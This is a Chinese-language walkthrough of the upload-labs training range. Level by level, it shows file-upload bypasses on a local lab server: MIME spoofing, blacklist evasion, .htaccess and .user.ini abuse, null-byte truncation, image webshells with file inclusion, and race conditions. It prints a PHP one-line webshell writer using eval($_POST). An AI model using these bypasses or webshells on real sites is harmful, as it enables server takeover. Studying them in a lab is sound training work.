第一关(前端验证)
方法一
首先把文件后缀改为图片格式,准备进行上传,打开bp进行抓包,点击上传
我们在这里修改文件后缀,修改为php,即可,之后我们右键图片,进行打开图片即可看见我们需要的
蚁剑也是可以连接的
第二种方法
因为这个网站他是进行前端JS校验,因此可以直接在浏览器检查代码把checkFile()函数删了或者也可以改成true,并按回车,即可成功上传php文件
第二关(MIME)
第一种方法
分析代码,可以看到,后端PHP代码只对content-type进行了检查 使用bp抓包,修改上传的后缀即可,与第一关的第一种方法无异
第二种方法
我们选择上传PHP文件,我们进行更改content-type的值改为image/png
上传木马成功
第三关(黑名单,验证特殊后缀)
首先我们要确认版本,请PHP尽量使用低于5.45版本的,否则容易失效
分析代码,进行黑名单验证,但是黑名单不全,可以使用php3、php5、phtml等等绕过 但是因为靶场是用phpstudy环境搭建的,要进去修改一下配置文件
改一下httpd.conf
文件里的#AddType application/x-httpd-php .php .phtml 为AddType application/x-httpd-php .php .phtml .php5 .php3
记得去掉#号,之后直接重启服务关于AddType命令的作用解释
AddType 指令 作用:在给定的文件扩展名与特定的内容类型之间建立映射 语法:AddType MIME-type extension
[extension] …
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。
修改完成后,我们上传php文件,使用bp进行抓包,进行修改后缀为你上面写的其中一直
写入一句话木马,连接成功
其实这题还能用.htaccess 来进行绕过(详细的在下面有解释)
第四关(黑名单验证,.htaccess)
这里我使用的是PHP5.2.17环境
分析代码发现没有禁用.htaccess
文件.htaccess基础知识*重点内容*
.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
它里面有这样一段代码:AllowOverride None,如果我们把None改成All
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
这里标签中的字符串,为你上传文件的名字,尽量写准确,要不然会把所有文件都解析成PHP
上传成功,我们再上传一个图片马: 图片马可以用在一句话木马里面加上GIF89a
就可以了,然后把后缀名改成png或者jpg等等
之后我们使用蚁剑进行连接,连接成功
第五关(黑名单验证,.user.ini.)
这关用的环境是PHP5.3.29版本,并且使用cgi模式(这里只有nts,nt就是fastcgi模式)
方法一
使用bp进行抓包,之后更改文件后缀为. .
123.php. .
进行绕过
使用蚁剑进行连接,连接成功
方法二
查看源码并点开提示
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。 反复观察发现没有被限制的后缀名有 .php7 以及 .ini
然后接着百度一番ini的知识user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
设置可被识别。
两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
但是想要引发 .user.ini 解析漏洞需要三个前提条件服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
什么是 CGI
CGI 的全称为“通用网关接口”(Common Gateway Interface),为 HTTP 服务器与其他机器上的程序服务通信交流的一种工具, CGI 程序须运行在网络服务器上。
传统 CGI 接口方式的主要缺点是性能较差,因为每次 HTTP 服务器遇到动态程序时都需要重新启动解析器来执行解析,之后结果才会被返回给 HTTP
服务器。这在处理高并发访问时几乎是不可用的,因此就诞生了 FastCGI。另外,传统的 CGI 接口方式安全性也很差,故而现在已经很少被使用了。
什么是 FastCGI
FastCGI 是一个可伸缩地、高速地在 HTTP 服务器和动态服务脚本语言间通信的接口(在 Linux 下, FastCGI 接口即为 socket,这个socket 可以是文件 socket,也可以是IP socket),主要优点是把动态语言和HTTP服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
同时,FastCGI也被许多脚本语言所支持,例如当前比较流行的脚本语言PHP。FastCGI 接口采用的是C/S架构,它可以将 HTTP 服务器和脚本服务器分开,同时还能在脚本解析服务器上启动一个或多个脚本来解析守护进程。当 HTTP服务器遇到动态程序时,可以将其直接交付给 FastCGI 进程来执行,然后将得到结果返回给浏览器。这种方式可以让 HTTP服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高整个应用系统的性能。
其中php语言和CGI我们的Apache和环境均满足
创建一个.user.ini文件并把它上传
.user.ini文件里的意思是:所有的php文件都自动包含666.jpg文件。.user.ini相当于一个用户自定义的php.ini
接着上传666.jpg文件,文件内容为:
然后这里有两个选择 选择一:慢慢的等候5分钟,然后用蚁剑连上去 选择二:直接进去修改php-ini配置文件
把这里的300秒(即默认等5分钟)改为10
修改后保存php.ini文件并重启phpstudy,静心等候10秒后再进行下一步操作
然后在复制图像地址后,用蚁剑访问将文件名改为readme.php
第六关(黑名单验证,大小写绕过)
这一关同样是后端黑名单,同时过滤掉.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单
把.php 格式改为 .Php 上传上去之后,就会自动解析为.php
右键图片获取地址,
使用蚁剑连接php文件
第七关(黑名单验证,空格绕过)
这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单
抓包,修改上传一句话木马文件名12.php
(注意这里有个空格)
直接使用蚁剑连接,连接成功
第八关(黑名单验证,点号绕过)
这一关黑名单,没有使用deldot()过滤文件名末尾的点 .
,可以使用文件名后加.进行绕过
使用蚁剑连接,连接成功
第九关(黑名单验证,特殊字符::$DATA绕过)
这一关黑名单,没有对::DATA 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA进行处理,可以使用::DATA绕过黑名单补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
上传PHP一句话文件,抓包改后缀12.php::$DATA
然后使用蚁剑连接12.php
(注意蚁剑连接路径不要加上::$DATA)
使用蚁剑连接,连接成功
第十关(黑名单)
这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行
filename = deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
上传12.php 然后用bp改后缀加点 空格点 (即文件名为12.php. .)
使用蚁剑连接,连接成功
第十一关(黑名单验证,双写绕过)
这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)
上传12.php 然后用bp改后缀为.pphphp使用蚁剑连接12.php
与XSS的双写绕过类似
使用蚁剑进行连接,连接成功
第十二关(get00截断)
本人这里使用的是PHP5.2.17+Apache环境
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
更改为如下图所示
上传成功,得到如下一串地址http://192.168.1.144/upload-labs-master/upload/12.php�/3020231019205928.png
我们需要把php后面的全部删掉再去连接蚁剑即可成功,连接成功
第十三关(post 00截断)
一定要关闭magic_quotes_gpc,
PHP一定要是5.2.17版本
还有安全软甲都是杀软
第一种方法
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单
补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。
上传12.php
用BP抓包修改参数,然后修改后的结果
最好可以在php后面加上一个+在HEX的情况下好进行区分,修改的位置是这里输入00
修改完成可以放包,上传成功
使用蚁剑连接,删除这些就可以,连接成功
第十四关(图片马unpack)
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件 使用 图片马 + 文件包含
绕过
文件包含漏洞,程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含,举例include config.php
补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
编写图片马
进入文件包含漏洞地址
让我们分析一下这个文件包含漏洞的代码header("Content-Type:text/html;charset=utf-8");:设置响应头,指定了文档的内容类型为HTML,字符编码为UTF-8。
$file = $_GET['file'];:从GET请求参数中获取名为'file'的值,该值用于指定要包含的文件。
if(isset($file)):检查是否已经传递了'file'参数。
include $file;:如果'file'参数已经传递,将其值用于包含文件。这是关键的安全问题,因为攻击者可以通过'file'参数包含恶意文件或执行任意代码。
else:如果'file'参数未传递,将使用show_source(__file__);来显示当前脚本的源代码。
因为上传图片马之后会被重命名图片所以下面的payload的图片名字可以在上传之后复制图片链接就可以了
构造的URL为include.php?file=upload/9720231020103502.gif
也可以使用蚁剑连接,payload为
http://192.168.1.144/upload-labs-master/include.php/?file=upload/9720231020103502.gif
第十五关(getimagesize图片马)
首先让我们来了解一下getimagesize这个函数
getimagesize()
是一个PHP函数,用于获取图像文件的详细信息,包括图像的尺寸、类型、宽度、高度等。它可以用于处理图像文件,以便在网站开发和图像处理应用中获取有关图像的重要信息。
以下是 getimagesize()
函数的一般语法:getimagesize(string $filename, array &$imageinfo = null): array|false
参数:
$filename
:要获取信息的图像文件的路径或 URL。可以是本地文件路径或远程 URL。$imageinfo
(可选):一个可选的关联数组,用于存储有关图像的额外信息,例如图像类型、宽度、高度等。
返回值:
- 如果成功,函数返回一个包含图像信息的关联数组,其中包括图像宽度、高度、文件类型(MIME 类型)、高度、宽度等。例如:
Array
(
[0] => 800 // 图像宽度
[1] => 600 // 图像高度
[2] => 2 // 图像类型,2 表示 JPEG
[3] => width="800" height="600"
[bits] => 8
[channels] => 3
[mime] => image/jpeg
)
- 如果失败,函数返回
false
,表示无法获取图像信息。
接下来我们上传图片木马,只要使用的是我第四关木马那就不用更改
直接使用蚁剑连接,连接成功payload
http://192.168.1.144/upload-labs-master/include.php?file=upload/6020231020105932.gif
这题基本与第十四关无异,只不过使用的是不同的函数
第十六关(exif_imagetype图片马)
知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
经实验证明,phpstudy中PHP版本必须高于5.2.17
否则开启扩展也是无效的
首先开启php_exif
模块
继续使用我们第十四关的图片马与文件包含,也可以使用蚁剑连接,连接成功
payload:
http://192.168.1.144/upload-labs-master/include.php?file=upload/8520231020110914.gif
第十七关(二次渲染绕过)
这里是某位大佬的GIF图片
https://wwe.lanzoui.com/iFSwwn53jaf这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
使用二次渲染专用图,进行绕过
可以继续使用我们的文件包含,也可以使用蚁剑连接,连接成功
第十八关(条件竞争一)
首先我们进行代码审计$is_upload = false; // 初始化文件上传状态为假
$msg = null; // 初始化消息为null
if(isset($_POST['submit'])){ // 检查是否提交了表单
$ext_arr = array('jpg','png','gif'); // 定义允许上传的文件扩展名数组
$file_name = $_FILES['upload_file']['name']; // 获取上传文件的原始文件名
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时存储路径
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 提取文件扩展名
$upload_file = UPLOAD_PATH . '/' . $file_name; // 构建上传后的文件路径
if(move_uploaded_file($temp_file, $upload_file)){ // 尝试将文件移动到指定目录
if(in_array($file_ext, $ext_arr)){ // 检查文件扩展名是否在允许的列表中
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 生成新的唯一文件名
rename($upload_file, $img_path); // 将上传的文件重命名为新文件名
$is_upload = true; // 设置上传状态为真
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!"; // 文件类型不在允许列表中的错误消息
unlink($upload_file); // 删除已上传的文件
}
}else{
$msg = '上传出错!'; // 文件移动失败时的错误消息
}
}
首先我们会发现他的代码写的判断比较靠后,会让文件先上传到服务器进行判断,后缀不正确会进行删除,显然这种判断方式比较安全,是还不够,我们可以使用bp的狙击手模式,一边疯狂上传,一边疯狂请求我们的文件,我们的文件中写一个生成文件的代码,首先我们上传一个level18.php代码如下<?php fputs(fopen('12.php','w'),'<?php @eval($_POST["1"])?>');?>
之后我们进行抓包上传的level18.php的数据,发送到攻击模块使用狙击手模式
具体设置如下
首先点击clear
清楚所有标记
之后在payload中选择Null payloads,无限发送空的Payloads
,来让它一直上传该文件
之后我们再在浏览器访问19.php这个文件http://192.168.1.144/upload-labs-master/upload/level18.php
再使用bp进行抓包,也发送到bp模块进行和上面的一样的设置,之后两边一块进行攻击,来利用服务器删除慢的时候访问到文件进行生成我们的12.php
当我们请求访问19.php的status的值,返回200时,证明我们访问成功,下一步可以使用蚁剑连接
访问成功
第十九关(图片马或条件竞争)
这关文件保存的地址有问题我们需要去根目录更改config.php
,被选中的地方
这一关首先需要我们进行代码审计从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了
第一种方法
我们可以使用图片马加文件包含直接过
首先上传一个图片马
再用文件包含漏洞打开该文件
http://192.168.1.144/upload-labs-master/include.php?file=upload/1697790204.jpg&1=phpinfo();
也可以连接蚁剑,连接成功
第二种方法
使用第十八关的代码<?php fputs(fopen('12.php','w'),'<?php @eval($_POST["1"])?>');?>
第一步:将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马
第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关
没区别)
首先点击clear
清楚所有标记
之后在payload中选择Null payloads,无限发送空的Payloads
,来让它一直上传该文件
同样,我们继续使用攻击模块疯狂请求该文件
这样我们就会生成一个新文件,来供我们访问
第二十关
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
先准备PHP一句话木马,并把后缀名改为PNG再上传
修改完直接放包,然后复制图片地址,用蚁剑连接
第二十一关(不懂)
这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件
补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空
点击放包
复制图片地址,用蚁剑进行连接,这里有个细节,可能有人会问蚁剑连接的URL地址 .php
后面有一个点
,我们需不需要把它删了,其实这个点删不删没所谓,不影响的,照样能连上
Views: 1